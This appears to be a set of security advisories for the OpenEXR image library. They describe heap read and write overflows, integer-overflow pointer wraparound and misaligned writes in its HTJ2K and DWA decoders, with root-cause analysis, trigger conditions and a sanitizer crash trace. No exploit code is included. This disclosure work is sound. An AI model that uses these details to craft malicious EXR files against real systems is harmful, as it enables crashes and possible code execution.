OpenEXR is the reference implementation and specification for the EXR image format, widely used in the motion picture industry. In versions 3.4.0 through 3.4.11, the HTJ2K (High-Throughput JPEG 2000) decoder, htundoimpl() in OpenEXRCore is vulnerable to a heap-buffer-overflow READ. The htundoimp function copies decoded pixels out of a per-line OpenJPH buffer using the EXR channel's declared width as the iteration count. The codestream embedded in the EXR chunk can declare different (smaller) tile/line dimensions than the EXR header advertises, but htundoimpl() does not validate this — it pulls width 32-bit samples from curline->i32[] without checking the OpenJPH line buffer's actual length. A crafted EXR file produces a 4-byte heap-buffer-overflow READ immediately after a buffer allocated by ojph::local::codestream::finalizealloc(). The bug is reachable through the standard scanline-decode entry point used by every consumer of exrdecodingrun/Imf::checkOpenEXRFile, including thumbnailers, asset pipelines, and the exrcheck utility — i.e. any application that opens untrusted EXR files. The result is a deterministic crash (DoS) and potential adjacent-heap leak. This issue has been fixed in version 3.4.12.
OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In versions 3.4.0 through 3.4.9, 3.3.0 through 3.3.9, and 3.2.0 through 3.2.7, internaldwacompressor.h:1722 performs curc->width curc->height in int32 arithmetic without a (sizet) cast. This is the same overflow pattern fixed in other locations by the recent CVE-2026-34589 batch, but this line was missed. Versions 3.4.10, 3.3.10, and 3.2.8 contain a fix that addresses internaldwacompressor.h:1722.
Summary
The DWA lossy decoder constructs temporary per-component block pointers using signed 32-bit arithmetic. For a large enough width, the calculation overflows and later decoder stores operate on a wrapped pointer outside the allocated rowBlock backing store.
This bug is reachable from the public decoder path and can be reproduced through the shipped exrcheck tool with a crafted scanline DWAA file. The confirmed dynamic symptom is a write-side crash in the lossy DCT execution path.
Tested on commit: 7820b7e1b93405ba1d551c43a945018226b75bc5
Root Cause and Data Flow
The vulnerable pointer construction lives in src/lib/OpenEXRCore/internaldwadecoder.h:
c for (int comp = 1; comp < numComp; ++comp) rowBlock[comp] = rowBlock[comp - 1] + numBlocksX 64;
The expression numBlocksX 64 is computed as signed int. Once numBlocksX is large enough, the multiplication wraps, and rowBlock[comp] points backward rather than forward into the temporary decode buffer.
Later, LossyDctDecoderexecute() uses those derived pointers for real loads and stores during the block shuffle and reconstruction process. At that point the decoder is no longer operating within the bounds of the allocation created for rowBlockHandle.
The public control flow is the standard one:
c InputFile / ScanLineInputFile public read -> exrdecodingrun(...) -> exruncompresschunk(...) -> internalexrundodwaa(...) -> DwaCompressoruncompress(...) -> LossyDctDecoderexecute(...)
UBSan gives a clean root-cause diagnosis on the overflowing multiply, while ASAN shows the later memory error in the write-side decode path.
Reproduction
dwascanlineexrcheck.zip
Build with exrcheck with ASAN and run:
❯ ./build-asan/bin/exrcheck /tmp/dwascanlineexrcheck.exr file /tmp/dwascanlineexrcheck.exr /home/pop/sec/openexr/src/lib/OpenEXRCore/internaldwadecoder.h:331:58: runtime error: signed integer overflow: 33554432 64 cannot be represented in type 'int' AddressSanitizer:DEADLYSIGNAL ================================================================= ==1684058==ERROR: AddressSanitizer: SEGV on unknown address 0x758f8e5f0800 (pc 0x75979e850336 bp 0x7ffe8f1d3420 sp 0x7ffe8f1d30f0 T0) ==1684058==The signal is caused by a WRITE memory access. #0 0x75979e850336 in LossyDctDecoderexecute /home/pop/sec/openexr/src/lib/OpenEXRCore/internaldwadecoder.h:524 #1 0x75979e879592 in DwaCompressoruncompress /home/pop/sec/openexr/src/lib/OpenEXRCore/internaldwacompressor.h:1210 #2 0x75979e879592 in internalexrundodwaa /home/pop/sec/openexr/src/lib/OpenEXRCore/internaldwa.c:231 #3 0x75979e95f878 in exruncompresschunk /home/pop/sec/openexr/src/lib/OpenEXRCore/compression.c:542 #4 0x75979e9659a8 in exrdecodingrun /home/pop/sec/openexr/src/lib/OpenEXRCore/decoding.c:580 #5 0x7597a0271add in rundecode /home/pop/sec/openexr/src/lib/OpenEXR/ImfScanLineInputFile.cpp:586 #6 0x7597a0283dc4 in Imf40::ScanLineInputFile::Data::readPixels(Imf40::FrameBuffer const&, int, int) /home/pop/sec/openexr/src/lib/OpenEXR/ImfScanLineInputFile.cpp:500 #7 0x7597a00c6a81 in Imf40::InputFile::Data::readPixels(int, int) /home/pop/sec/openexr/src/lib/OpenEXR/ImfInputFile.cpp:458 #8 0x7597a13fe2dc in readScanline<Imf40::InputPart> /home/pop/sec/openexr/src/lib/OpenEXRUtil/ImfCheckFile.cpp:239 #9 0x7597a1405b04 in readMultiPart /home/pop/sec/openexr/src/lib/OpenEXRUtil/ImfCheckFile.cpp:905 #10 0x7597a14126fd in runChecks<char const> /home/pop/sec/openexr/src/lib/OpenEXRUtil/ImfCheckFile.cpp:1171 #11 0x7597a14146b9 in Imf40::checkOpenEXRFile(char const, bool, bool, bool) /home/pop/sec/openexr/src/lib/OpenEXRUtil/ImfCheckFile.cpp:1835 #12 0x61ba9582b8f8 in exrCheck(char const, bool, bool, bool, bool) /home/pop/sec/openexr/src/bin/exrcheck/main.cpp:96 #13 0x61ba958282b1 in main /home/pop/sec/openexr/src/bin/exrcheck/main.cpp:164 #14 0x75979d62a1c9 in libcstartcallmain ../sysdeps/nptl/libcstartcallmain.h:58 #15 0x75979d62a28a in libcstartmainimpl ../csu/libc-start.c:360 #16 0x61ba95829844 in start (/home/pop/sec/openexr/build-asan/bin/exrcheck+0xe844) (BuildId: 087c972343a5372940c42c0a2e7bce4a84288aec)
AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /home/pop/sec/openexr/src/lib/OpenEXRCore/internaldwadecoder.h:524 in LossyDctDecoderexecute ==1684058==ABORTING ------- Found by: Quang Luong of Calif.io
OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. From version 3.4.0 to before version 3.4.7, an attacker providing a crafted .exr file with HTJ2K compression and a channel width of 32768 can write controlled data beyond the output heap buffer in any application that decodes EXR images. The write primitive is 2 bytes per overflow iteration or 4 bytes (by another path), repeating for each additional pixel past the overflow point. In this context, a heap write overflow can lead to remote code execution on systems. This issue has been patched in version 3.4.7.
OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. From 3.2.0 to before 3.2.7, 3.3.9, and 3.4.9, a misaligned memory write vulnerability exists in LossyDctDecoderexecute() in src/lib/OpenEXRCore/internaldwadecoder.h:749. When decoding a DWA or DWAB-compressed EXR file containing a FLOAT-type channel, the decoder performs an in-place HALF→FLOAT conversion by casting an unaligned uint8t row pointer to float and writing through it. Because the row buffer may not be 4-byte aligned, this constitutes undefined behavior under the C standard and crashes immediately on architectures that enforce alignment (ARM, RISC-V, etc.). On x86 it is silently tolerated at runtime but remains exploitable via compiler optimizations that assume aligned access. This vulnerability is fixed in 3.2.7, 3.3.9, and 3.4.9.